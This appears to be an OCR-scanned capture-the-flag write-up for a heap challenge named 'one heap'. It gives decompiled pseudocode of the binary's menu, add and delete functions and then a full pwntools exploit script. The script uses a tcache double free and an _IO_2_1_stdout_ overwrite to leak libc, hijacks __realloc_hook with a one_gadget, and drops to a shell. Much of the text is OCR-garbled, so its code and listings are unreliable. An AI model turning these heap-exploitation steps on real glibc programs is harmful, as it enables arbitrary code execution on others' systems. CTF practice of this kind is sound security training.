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1 void  fastcall  noreturn main( _1inté4 al, char **a2, char **a3)
2 f

3 int i; // eax

4 flash();

5 while (1)

6

7 for (i =menu(); 1 !=1; i = menu() )
8 {

9 if (1 !=2)

10 exit (0) ;

11 delete() ;

12 }

13 add(al, aZ2);

14}

15}

menu
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1  inté4 sub C70()

2 {

3  unsigned _ inté4 v0; // STO8 8
4 ___inté4 result; // rax

5 unsigned _ int64 v2; // rtl

6 v0 =  readfsqword(0x28u) ;

7 puts("1. new");

8 puts("2. delete");

9 _printf chk(1LL, "Your choice:");
10 v2 = _ readfsqword(0x28u);

11 result = v2 * v0;

12  if ( v2 = v0 )

13 result = sub CI10();

14 return result;

delete
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1 unsigned  int64 sub D90()

2 {

3 unsigned  int64 vl1; // [rsp+8h] [rbp-10h]
4 vl =  readfsqword(0x28u) ;

5 if ( !dword 202014 )

6 exit (0) ;

7 free (ptr) ;

8 puts ("Done!") ;

e}

-—dword 202014;
10 return _ readfsqword(0x28u) = vl1;
11}

add
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1 unsigned  int64 add()

2 {

3 unsigned int v0; // eax

4 size t vl; // rbx

5 unsigned  int64 v3; // [rsp+8h] [rbp-10h]
6 v3 =  readfsqword (0x28u) ;

7 if ( !dword 202010 )

8 ILABEL 5:

9 exit (0) ;

10 printf chk(1LL, "Input the size:");
11 v0 = sub Cl10(1LL, "Input the size:");
12 vl = (signed int)vO0;

13 if ( vO > Ox7F )

14 {

15 puts ("Invalid size!");
16 goto LABEL 5;

17 '}

18  printf chk(ILL, "Input the content:");
19 ptr = malloc(vl),;

20 sub B70(ptr, vl);

21 puts("Done!");

22 —-dword 202010;

23 return  readfsqword(0x28u) * v3;

24 }
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1 from pwn import*

2 context.log level = "debug"

3 p = process ("./one heap")

4 a = ELF("./libc-2.27.s0")

5 #p = remote("47.104.89.129",10001)
6 gdb.attach (p)

7 def new(size,content) :

8 p.recvuntil ("Your choice:")

9 p.sendline("1")

10 p.recvuntil ("Input the size:")
11 p.sendline(str(size))

12 p.recvuntil ("Input the content:")
13 p.sendline (content)

14 def remove() :

15 p.recvuntil ("Your choice:")
16 p.sendline ("2")

17 def newO (size,content) :

18 p.recvuntil ("Your choice:")

19 p.sendline("1")

20 p.recvuntil ("Input the size:")

21 p.sendline(str(size))

22 p.recvuntil ("Input the content:")
23 p.send (content)

24 new (0x60, "aaa")

25 remove ()

26 remove ()

27 new (0x60, "\x20\x60")

28 new (0x60,"b")

29 raw_input ()

30 new (0x60, "\x60\x07")

31 pay = p64 (0xfbadl880) + pé64(0)*3 + "\x00"

32 new (0x60,pay)

33 1ibc_addr = u64(p.recvuntil ("\x7f") [8:8+6].1just (8,"\x00"))-0x3ed8b0
34 print hex(libc_addr)

35malloc hook = a.symbols[" malloc hook"]+libc addr
36 relloc _hook = a.symbols[" realloc hook"]+libc addr
37 print hex(malloc hook)

38 one = 0x4f2c5+1ibc addr

39 print one

40 new (0x50,"a")

41 remove ()

42 remove ()

43 new (0x50,p64 (relloc_hook))

44 new (0x50, "peanuts")

45 new (0x50,p64 (one) +p64 (1ibc_addr+a.sym['realloc']+0xe))
46 print hex (one)

47 new (0x30,"b")

48 p.interactive()
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